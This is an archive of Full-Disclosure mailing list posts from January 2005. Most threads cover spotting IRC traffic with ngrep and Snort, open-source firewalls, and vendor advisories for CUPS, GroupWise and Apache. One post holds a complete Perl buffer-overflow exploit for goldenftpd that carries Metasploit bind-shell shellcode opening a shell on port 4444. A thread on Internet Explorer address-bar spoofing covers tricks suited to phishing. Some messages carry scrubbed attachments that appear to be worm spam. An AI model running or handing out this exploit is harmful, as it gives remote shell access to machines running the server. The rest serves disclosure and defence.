Leiter Technical Staff http://www.shells.at On Saturday 22 January 2005 00:34, RandallM wrote: > I am so sorry for interrupting the list. I'm trying to pick up IRC > communications on the network. I've made some filters for Ethereal and > Observer but can't seem to pick it up. I'm doing something wrong. Used the > 6668-6669 ports. Any help? > > thank you > Randall M > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From list at nolog.org Sat Jan 22 00:40:54 2005 From: list at nolog.org (List) Date: Sat, 22 Jan 2005 07:40:54 +0700 Subject: [Full-Disclosure] Re: Msg reply Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/f5362a97/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: the_message.com Type: application/octet-stream Size: 20309 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/f5362a97/attachment.obj From Blady at UniBG.net Sat Jan 22 03:25:07 2005 From: Blady at UniBG.net (Nikolay Baramov) Date: Sat, 22 Jan 2005 03:25:07 +0000 Subject: [Full-Disclosure] RE: Scan for IRC In-Reply-To: <200501220015.j0M0FLrs027759@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> <200501220015.j0M0FLrs027759@lists.netsys.com> Message-ID: <200501220325.07209.Blady@UniBG.net> Other ports commonly used are 7000 and 9000. --- greetings N. Baramov [irc.tu-varna.edu] On Saturday 22 January 2005 00:10, Oliver Leitner wrote: > from what i know normally irc runs on tcp 6667 > > assides of that irc can be on any port, so id try to rather block the > central big servers instead of going for the port, and dont forget to block > all known or unknown web pages that feature webirc portals... > > well, that are my few thoughts. > > greetings > Oliver Leiter > Technical Staff > http://www.shells.at > > On Saturday 22 January 2005 00:34, RandallM wrote: > > I am so sorry for interrupting the list. I'm trying to pick up IRC > > communications on the network. I've made some filters for Ethereal and > > Observer but can't seem to pick it up. I'm doing something wrong. Used > > the 6668-6669 ports. Any help? > > > > thank you > > Randall M > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html From frank at knobbe.us Sat Jan 22 01:40:52 2005 From: frank at knobbe.us (Frank Knobbe) Date: Fri, 21 Jan 2005 19:40:52 -0600 Subject: [Full-Disclosure] RE: Scan for IRC In-Reply-To: <200501220325.07209.Blady@UniBG.net> References: <200501212334.j0LNY1rs024688@lists.netsys.com> <200501220015.j0M0FLrs027759@lists.netsys.com> <200501220325.07209.Blady@UniBG.net> Message-ID: <1106358052.14693.70.camel@localhost> On Sat, 2005-01-22 at 03:25 +0000, Nikolay Baramov wrote: > Other ports commonly used are 7000 and 9000. And another, perhaps even more commonly used port, is 443 since that is allowed unproxied/uninspected through most firewalls. (clear-text IRC on port 443, although IRC can also be run over SSL) Regards, Frank -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/4c1107cf/attachment.bin From kkadow at gmail.com Sat Jan 22 01:41:02 2005 From: kkadow at gmail.com (Kevin) Date: Fri, 21 Jan 2005 19:41:02 -0600 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: On Fri, 21 Jan 2005 17:34:00 -0600, RandallM wrote: > I am so sorry for interrupting the list. I'm trying to pick up IRC > communications on the network. I've made some filters for Ethereal and > Observer but can't seem to pick it up. I'm doing something wrong. Used the > 6668-6669 ports. Any help? Not only can an IRC server be on any port (as mentioned by Oliver Leitner), but clients can also tunnel the connection through proxies, or even fully encrypt chat sessions inside SSL, within an SSH tunnel, or in a binary packet protocol such as SILC. Assuming the communication is in the clear, you could use Snort to detect IRC communication, regardless of port. More on this topic can be found here: http://www.giac.org/practical/GSEC/Chris_Hanna_GSEC.pdf Kevin (P.S. I don't know who Chris Hanna is, but the paper seems sound.) From warchild at spoofed.org Sat Jan 22 02:07:11 2005 From: warchild at spoofed.org (Jon Hart) Date: Fri, 21 Jan 2005 21:07:11 -0500 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: <20050122020711.GC1846@spoofed.org> On Fri, Jan 21, 2005 at 05:34:00PM -0600, RandallM wrote: > I am so sorry for interrupting the list. I'm trying to pick up IRC > communications on the network. I've made some filters for Ethereal and > Observer but can't seem to pick it up. I'm doing something wrong. Used the > 6668-6669 ports. Any help? In addition to the ports you and others mentioned, don't forget 194, 994 and 6665-6668/TCP. 994 is typically IRC over SSL so all you'll likely be able to detect with a sniffer is the existence of 994/TCP traffic, not that its actually SSL. My suggestion? Looking for 194, 994 and 6665-6668/TCP will only help you locate legitimate IRC servers running on standard ports. But the really interesting traffic will be on other ports. So use ngrep: ngrep -i "NICK|PRIVMSG" tcp (or something similar) Snort has a set of signatures that could easily be modified to work on arbitrary ports to detect IRC -- check out SID 542, 1463 and 1729. -jon From list at nolog.org Sat Jan 22 02:21:14 2005 From: list at nolog.org (List) Date: Sat, 22 Jan 2005 09:21:14 +0700 Subject: [Full-Disclosure] RE: Message Notify Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/b94a263e/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: Smoke.com Type: application/octet-stream Size: 21163 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/b94a263e/attachment.obj From pauls at utdallas.edu Sat Jan 22 03:47:24 2005 From: pauls at utdallas.edu (Paul Schmehl) Date: Fri, 21 Jan 2005 21:47:24 -0600 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: <2147483647.1106344044@[192.168.2.101]> --On Friday, January 21, 2005 5:34 PM -0600 RandallM wrote: > I am so sorry for interrupting the list. I'm trying to pick up IRC > communications on the network. I've made some filters for Ethereal and > Observer but can't seem to pick it up. I'm doing something wrong. Used the > 6668-6669 ports. Any help? > You'll have a lot more success using something like snort or tcpdump to catch them. For example, you could easily write a couple of rules that would catch any IRC communications, regardless of the port used. alert tcp $HOME_NET any -> any any (msg:"IRC communications"; content: JOIN; sid: 1000000; rev:1;) alert tcp $HOME_NET any -> any any (msg:"IRC communications"; content: PRIVMSG; sid: 1000001; rev:1;) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From naverxp at yahoo.com.sg Sat Jan 22 06:00:39 2005 From: naverxp at yahoo.com.sg (John) Date: Sat, 22 Jan 2005 14:00:39 +0800 Subject: [Full-Disclosure] Packet/Signature-based Firewall Message-ID: <41F1EC07.4080501@yahoo.com.sg> Hi I was wondering are there any Budget/OpenSource signature-based firewall around like the one Packeteer has? (packetshaper) Thanks. From mail at hackingspirits.com Sat Jan 22 09:05:52 2005 From: mail at hackingspirits.com (Debasis Mohanty) Date: Sat, 22 Jan 2005 14:35:52 +0530 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <41F1EC07.4080501@yahoo.com.sg> Message-ID: <200501220906.j0M96Grs008486@lists.netsys.com> PacketShaper is a Firewall; well I didn't know that... :P FYI: It is a network traffic management product (maybe somewhat more than that but now a Firewall) Regards, Debasis Mohanty www.hackingspirits.com -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of John Sent: Saturday, January 22, 2005 11:31 AM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Packet/Signature-based Firewall Hi I was wondering are there any Budget/OpenSource signature-based firewall around like the one Packeteer has? (packetshaper) Thanks. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From koon at gentoo.org Sat Jan 22 09:22:27 2005 From: koon at gentoo.org (Thierry Carrez) Date: Sat, 22 Jan 2005 10:22:27 +0100 Subject: [Full-Disclosure] [ GLSA 200501-30 ] CUPS: Stack overflow in included Xpdf code Message-ID: <41F21B53.2000302@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-30 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: CUPS: Stack overflow in included Xpdf code Date: January 22, 2005 Bugs: #78249 ID: 200501-30 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== CUPS includes Xpdf code and therefore is vulnerable to the recent stack overflow issue, potentially resulting in the remote execution of arbitrary code. Background ========== The Common UNIX Printing System (CUPS) is a cross-platform print spooler. It makes use of Xpdf code to handle PDF files. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-print/cups < 1.1.23-r1 >= 1.1.23-r1 Description =========== The Decrypt::makeFileKey2 function in Xpdf's Decrypt.cc insufficiently checks boundaries when processing /Encrypt /Length tags in PDF files (GLSA 200501-28). Impact ====== This issue could be exploited by a remote attacker to execute arbitrary code by sending a malicious print job to a CUPS spooler. Workaround ========== There is no known workaround at this time. Resolution ========== All CUPS users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-print/cups-1.1.23-r1" References ========== [ 1 ] CAN-2005-0064 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 [ 2 ] GLSA 200501-28 http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-30.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/9a530e4c/attachment.bin From aditya.deshmukh at online.gateway.expertworks.net Sat Jan 22 09:25:13 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Sat, 22 Jan 2005 14:55:13 +0530 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <41F1EC07.4080501@yahoo.com.sg> Message-ID: >I was wondering are there any Budget/OpenSource >signature-based firewall >around like the one Packeteer has? (packetshaper) Snort with pf on openbsd ? Works for me always, snort is a good IDS and control pf via command execution to dynamically stop attacks as well as it has traffic shaping -aditya ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From aditya.deshmukh at online.gateway.expertworks.net Sat Jan 22 09:20:52 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Sat, 22 Jan 2005 14:50:52 +0530 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: How do u know that you are looking for the irc traffic ? Somewhere you must have see connections going out to some host or some connection attempts. You could always try sniffing using that ip address on all ports if you have set up everthing else correctly... How ever if something is not setup correctly then you would have trouble shoot this. Maybe posting some more info will help us all diagnose this for you and help u out - maybe offlist ? -aditya >-----Original Message----- >From: full-disclosure-bounces at lists.netsys.com >[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of RandallM >Sent: Saturday, January 22, 2005 05:04 AM >To: full-disclosure at lists.netsys.com >Subject: [Full-Disclosure] Scan for IRC > >I am so sorry for interrupting the list. I'm trying to pick up IRC >communications on the network. I've made some filters for Ethereal and >Observer but can't seem to pick it up. I'm doing something >wrong. Used the >6668-6669 ports. Any help? > >thank you >Randall M > > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From naverxp at yahoo.com.sg Sat Jan 22 13:50:34 2005 From: naverxp at yahoo.com.sg (John) Date: Sat, 22 Jan 2005 21:50:34 +0800 Subject: [Full-Disclosure] Packet/Signature-based Firewall Message-ID: <41F25A2A.9070101@yahoo.com.sg> Yeah. Sorry for the huge mistake, i was thinking since it does reject/block packets, so it actually does a big component of what Firewall is for (correct me if i'm wrong). According to their website its, PacketShaper is just one component of Packeteer's application traffic management system. This system is delivered in a single appliance with multiple software options that provide: Thanks. Are there anymore solutions apart from snort with pf on openbsd? Debasis Mohanty wrote: >PacketShaper is a Firewall; well I didn't know that... :P > >FYI: It is a network traffic management product (maybe somewhat more than >that but now a Firewall) > > >Regards, >Debasis Mohanty >www.hackingspirits.com > >-----Original Message----- >From: full-disclosure-bounces at lists.netsys.com >[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of John >Sent: Saturday, January 22, 2005 11:31 AM >To: full-disclosure at lists.netsys.com >Subject: [Full-Disclosure] Packet/Signature-based Firewall > >Hi > >I was wondering are there any Budget/OpenSource signature-based firewall >around like the one Packeteer has? (packetshaper) > >Thanks. > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > > > From hhoffman at ip-solutions.net Sat Jan 22 13:55:45 2005 From: hhoffman at ip-solutions.net (Harry Hoffman) Date: Sat, 22 Jan 2005 08:55:45 -0500 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: References: Message-ID: <41F25B61.9050702@ip-solutions.net> Use ngrep to look for signs of irc (i.e. PRIVMSG) instead of just looking for the ports irc (ususally, but not always) runs on. something like: "ngrep -qitd eth0 'privmsg'" will probably get you much better results. HTH, Harry ALD, Aditya, Aditya Lalit Deshmukh wrote: > How do u know that you are looking for the irc traffic ? Somewhere you must > have see connections going out to some host or some connection attempts. You > could always try sniffing using that ip address on all ports if you have set > up everthing else correctly... > > How ever if something is not setup correctly then you would have trouble > shoot this. Maybe posting some more info will help us all diagnose this for > you and help u out - maybe offlist ? > > -aditya > > >>-----Original Message----- >>From: full-disclosure-bounces at lists.netsys.com >>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of RandallM >>Sent: Saturday, January 22, 2005 05:04 AM >>To: full-disclosure at lists.netsys.com >>Subject: [Full-Disclosure] Scan for IRC >> >>I am so sorry for interrupting the list. I'm trying to pick up IRC >>communications on the network. I've made some filters for Ethereal and >>Observer but can't seem to pick it up. I'm doing something >>wrong. Used the >>6668-6669 ports. Any help? >> >>thank you >>Randall M >> >> >>_______________________________________________ >>Full-Disclosure - We believe in it. >>Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> > > > > ________________________________________________________________________ > Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From barbsie at gmail.com Sat Jan 22 10:45:22 2005 From: barbsie at gmail.com (barabas mutsonline) Date: Sat, 22 Jan 2005 11:45:22 +0100 Subject: [Full-Disclosure] several BO's in goldenftpd Message-ID: <981281b1050122024581d9cef@mail.gmail.com> For the millions that use this ftp server: http://www.goldenftpserver.com/ It has numerous cool features, like no authentication whatsoever, typos in error messages, buffer overflows etc... I just opened it up when my dog jumped on the keyboard and accidentally send a specially crafted packet to localhost and..BAM...a shell on port 4444. Luckily I had ethereal running and here it is: Oh yeah, vendor notified and fixed it (hopefully, didnt check) #!/usr/bin/perl -w # Barabas - www.whitehat.co.il - # cheers to muts and all peeps at WH. # XPSP2 goldenftpserver sploit - bind 4444 use strict; use Net::FTP; my $payload="\x41"x260; $payload .="\x65\x82\xa5\x7c";#jmpesp $payload .="\x90"x32;#not really necessary...blah # win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com $payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45". "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3". "\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1". "\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01". "\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24". "\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad". "\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53". "\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc". "\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff". "\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53". "\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a". "\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9". "\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50". "\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff". "\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89". "\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93". "\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6". "\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad". "\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83". "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff". "\xd0"; my $ftp = Net::FTP->new("127.0.0.1", Debug => 1); $ftp->login("ftp","ftp"); $ftp->quot("RNTO",$payload); From ereed at novell.com Fri Jan 21 19:37:51 2005 From: ereed at novell.com (Ed Reed) Date: Fri, 21 Jan 2005 12:37:51 -0700 Subject: [Full-Disclosure] NOVL-2005-10096251 GroupWise WebAccess error handling modules (report) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 For Immediate Disclosure ============================== Summary ============================== Security Alert: NOVL-2005-10096251 Title: GroupWise WebAccess Error modules loading (report) Date: 21-January-2005 Revision: Original Product Name: GroupWise 6.5, GroupWise 6.5 WebAccess OS/Platform(s): NetWare, Windows, Linux Reference URL: http://support.novell.com/servlet/tidfinder/10096251 Vendor Name: Novell, Inc. Vendor URL: http://www.novell.com Security Alerts: http://support.novell.com/security-alerts Affects: login.htt, about.htt Identifiers: BugTraq 387566 - http://www.securityfocus.com/archive/1/387566 Credits: Marc Ruef , but thanks, too, to Pete Connolly for actually notifying Novell's security team ============================ Description ============================ By specifying a query string (?error=, or ?merge=) on the WebAccess login URL (for example http://webacc.company.com/servlet/webacc?merge=about), an unauthenticated user is able get read-only access to various public templates and informational files, including the "about" page for the WebAccess server which includes the version of GroupWise that is installed. ============================== Impact =============================== The server is not granting access to private files, and no files can be modified through this attack. The "about" page which contains the version of the GroupWise software installed is available, however, it is not considered restricted information, since this same information is available on the normal login URL page. Customers that are concerned about the version information being made public can edit login.htt and about.htt template files to remove this information. These templates are located in the following default locations: NetWare - sys:\tomcat\4\webapps\ROOT\WEB-INF\classes\com\novell\webaccess\templates\frames Linux - /var/opt/novell/gw/WEB-INF/classes/com/novell/webaccess/templates/frames Windows - C:\NOVELL\JAVA\SERVLETS\COM\NOVELL\WEBACCESS\TEMPLATES\FRAMES Remove line 313 in login.htt and line 37 in about.htt. Additionally, Novell will be making changes in the next update of GroupWise, version 6.5.4, to address these issues. The changes will be to ignore any query string parameters if the user is not authenticated. Q. What files do non-authenticated users have access to? A. Read only access to template files are allowed, which are stored in a public directory on the server, as well as a version file, which contains the version of the GroupWise software that is installed. There is no security risk in displaying the template files without data--the template files themselves do not contain confidential information. For the GroupWise 6.5.4 release, this will be addressed so that no unauthenticated users will be able to access any information other than the login page. Q. What query strings expose this behavior? A. The "error" query string and the "merge" query string can be used to access read-only versions of the WebAccess templates and the "about" information for the server. Note that there is no user data in these templates since the user is not authenticated. The merge query string works in the following way: when a user is logged in, actions that return data are performed. The resulting data is merged into the template specified by "merge" (or "error" if an error condition occurred) to produce useable output for the authenticated user. In the case where there is no authentication, there is no data to merge into the template. Authentication is not bypassed and there is no generic or "ghost" user logged in. Q. What information or access is inappropriately divulged to unauthenticated users? A. This approach offers no means for accessing restricted files on the server. If the version information about the server is deemed restricted, the administrator can edit the about.htt and login.htt template files to remove this information. These templates are located at template\frames on an installed WebAccess server. Q. Is there any way for an attacker to write data into the server through this method? A. The approach outlined provides no mechanism for modifying data or files on the server. Q. Is it possible to use HTML injection to carry out a social engineering attack? A. This supposition is false as the attack described has no ability to modify data or files on the server in order to inject malicious code into WebAccess pages. ======================== Recommended Actions ======================== See detailed instructions in the referenced Technical Information Document (TID) http://support.novell.com/servlet/tidfinder/10096251 ============================ DISCLAIMER ============================= The content of this document is believed to be accurate at the time of publishing based on currently available information. However, the information is provided "AS IS" without any warranty or representation. Your use of the document constitutes acceptance of this disclaimer. Novell disclaims all warranties, express or implied, regarding this document, including the warranties of merchantability and fitness for a particular purpose. Novell is not liable for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this document or any security alert, even if Novell has been advised of the possibility of such damages and even if such damages are foreseeable. ============================ Appendices ============================= None ================ Contacting Novell Security Alerts ================== To report suspected security vulnerabilities in Novell products, send email to secure at novell.com PGP users may send signed/encrypted information to us using our PGP key, available from the pgpkeys.mit.edu server, or our website at: http://support.novell.com/security-alerts Novell Security Alerts, Novell, Inc. PGP Key Fingerprint: 3C6B 3F26 4E34 1ADF E27B D6C4 1AC8 9184 34D1 9739 (revised) ========================= Revision History ========================== Original: 21-Jan-2005 - Original Publication -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB8U9JGsiRhDTRlzkRAj9xAJoCdB/5gaMtYh3vre9uDls76KsnngCg7PXz AiVCn6GGHz4krUdAcgQkgrs= =Hfuz -----END PGP SIGNATURE----- From ggl at free.fr Sat Jan 22 15:01:29 2005 From: ggl at free.fr (Greg Leclercq) Date: Sat, 22 Jan 2005 16:01:29 +0100 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <41F1EC07.4080501@yahoo.com.sg> References: <41F1EC07.4080501@yahoo.com.sg> Message-ID: <1106406089.14716.537.camel@kombucha> > I was wondering are there any Budget/OpenSource signature-based firewall > around like the one Packeteer has? (packetshaper) If you want to make a linux-based solution, you can use Linux netfilter + l7-filter: http://l7-filter.sourceforge.net/. Check also p-o-m on http://www.netfilter.org for additionnal features. -- Greg Leclercq From naverxp at yahoo.com.sg Sat Jan 22 16:36:51 2005 From: naverxp at yahoo.com.sg (John) Date: Sun, 23 Jan 2005 00:36:51 +0800 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <1106406089.14716.537.camel@kombucha> References: <41F1EC07.4080501@yahoo.com.sg> <1106406089.14716.537.camel@kombucha> Message-ID: <41F28123.6060904@yahoo.com.sg> The l7-filter isn't working. What is pom? >>I was wondering are there any Budget/OpenSource signature-based firewall >>around like the one Packeteer has? (packetshaper) >> >> > >If you want to make a linux-based solution, you can use Linux netfilter >+ l7-filter: http://l7-filter.sourceforge.net/. Check also p-o-m on >http://www.netfilter.org for additionnal features. > > From ggl at free.fr Sat Jan 22 17:11:27 2005 From: ggl at free.fr (Greg Leclercq) Date: Sat, 22 Jan 2005 18:11:27 +0100 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <41F28123.6060904@yahoo.com.sg> References: <41F1EC07.4080501@yahoo.com.sg> <1106406089.14716.537.camel@kombucha> <41F28123.6060904@yahoo.com.sg> Message-ID: <1106413887.14716.547.camel@kombucha> > The l7-filter isn't working. What do you mean by 'not working' ? > What is pom? P-o-m is Patch O Matic. It provides additionnal features by patching netfilter. I'm not sure I understand what you want. Is 'signature-based firewall' an IPS (Intrusion Prevention System) for you ? Or is it a firewall which recognizes protocols signatures ? -- Greg Leclercq From naverxp at yahoo.com.sg Sat Jan 22 18:54:34 2005 From: naverxp at yahoo.com.sg (John) Date: Sun, 23 Jan 2005 02:54:34 +0800 Subject: [Full-Disclosure] Packet/Signature-based Firewall In-Reply-To: <1106413887.14716.547.camel@kombucha> References: <41F1EC07.4080501@yahoo.com.sg> <1106406089.14716.537.camel@kombucha> <41F28123.6060904@yahoo.com.sg> <1106413887.14716.547.camel@kombucha> Message-ID: <41F2A16A.6020501@yahoo.com.sg> Greg Leclercq wrote: >>The l7-filter isn't working. >> >> > >What do you mean by 'not working' ? > > > >>What is pom? >> >> > >P-o-m is Patch O Matic. It provides additionnal features by patching >netfilter. > >I'm not sure I understand what you want. > >Is 'signature-based firewall' an IPS (Intrusion Prevention System) for >you ? Or is it a firewall which recognizes protocols signatures ? > > A firewall that recognises protocol signatures. From martin.pitt at canonical.com Sat Jan 22 22:30:10 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Sat, 22 Jan 2005 23:30:10 +0100 Subject: [sb] [Full-Disclosure] [USN-65-1] Apache utility script vulnerability Message-ID: <000001c500d1$eeec5e00$0100a8c0@hubercomp.local> =========================================================== Ubuntu Security Notice USN-65-1 January 19, 2005 apache vulnerabilities http://bugs.debian.org/290974 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: apache-utils The problem can be corrected by upgrading the affected package to version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic" script created temporary files in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking the program. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/575dfcb8/attachment.bin -------------- next part -------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From skylined at edup.tudelft.nl Sun Jan 23 05:38:38 2005 From: skylined at edup.tudelft.nl (Berend-Jan Wever) Date: Sun, 23 Jan 2005 06:38:38 +0100 Subject: [Full-Disclosure] Re: Internet Explorer URL obfuscation. References: Message-ID: <004c01c5010d$cc5dd030$0100a8c0@grotedoos> Migitating factors: - You can only show a page you do not control as coming from a location you control, might as well use frames for that. - Links on the targetted site still work as normal. - Doesn't seem to allow cross-site scripting, which would make it a vulnerability. - An alert window might attract more attention then you'd want: IE seems to forget to update the address-bar as soon as any other window is opened at the same time, be it a javascript error message, an alert(), a confirm() or a showModalDialog()... The cool thing about ModalDialogs is that you can close them automatically:

Above code should do the same as Graeme Stewart's origional code but the window needed to obfuscate the URL is closed as soon as the targetted site is opened... use showModalDialog()-parameters to make this even more stealhy. Anyway, doesn't look like a big problem so far, but it might prove to have more potential: I did manage to crash IE with a NULL pointer once or twice while testing, unfortunately I wasn't able to reproduce that :( Cheers, Berend-Jan Wever TTP: http://www.edup.tudelft.nl/~bjwever MSN: skylined at edup.tudelft.nl IRC: SkyLined in #SkyLined on EFNET PGP: key ID 0x48479882 ----- Original Message ----- From: "Stewart, Graeme" To: Sent: Saturday, January 22, 2005 02:08 Subject: Internet Explorer URL obfuscation. > All, > > The following (very simple!) code calls a URL in the browser window but > fails to update the address bar in IE. Looks like the form submission is > suspended with the interrupt of the 'window.alert' call. IE then fails > to correctly handle. > > Might be helpful in facilitating phishing style attacks. Assuming you > can spoof the original location. > > I'm running windows XP SP2 with all the latest patches. It works > correctly in FireFox (i.e. the address bar does update). > > Not sure if this really is a vulnerability, but would appreciate any > thoughts. > > Thanks, > > Graeme Stewart > > --snip--- > > > > >
> onClick="page_load()"> >
> > > > --snip--- > > P.S My apologies if this is a known vuln. I did do some searching (i.e. > Google!, but nothing similar came up). > > > ----------------------------------------------------------------------- > The information transmitted is intended only for the person or entity > to which it is addressed and may contain confidential and/or privileged > material. Any review, retransmission, dissemination or other use of, or > taking of any action in reliance upon, this information by persons or > entities other than the intended recipient is prohibited. If you > received this in error, please contact the sender and delete the > material from any computer. > > From uberguidoz at gmail.com Sun Jan 23 11:18:17 2005 From: uberguidoz at gmail.com (GuidoZ) Date: Sun, 23 Jan 2005 03:18:17 -0800 Subject: [Full-Disclosure] The UPC packer In-Reply-To: References: Message-ID: > Anybody knows about this UPC Win32 packer or where to find it? I've > searched the info highway and ended up to Swizzor. > [...] > It really is UPC not UPX. Try searching google with "swizzor UPC" Well, I found "UPC v1.11 - Executables Unpacker" here: - http://sac-ftp.externet.hu/pack21.html Also look here near the bottom under "Useful Stuff" - it's mentioned: - http://lakoma.tu-cottbus.de/~herinmi/LINKS.HTM Also scattered mentions of UPC compression here: - 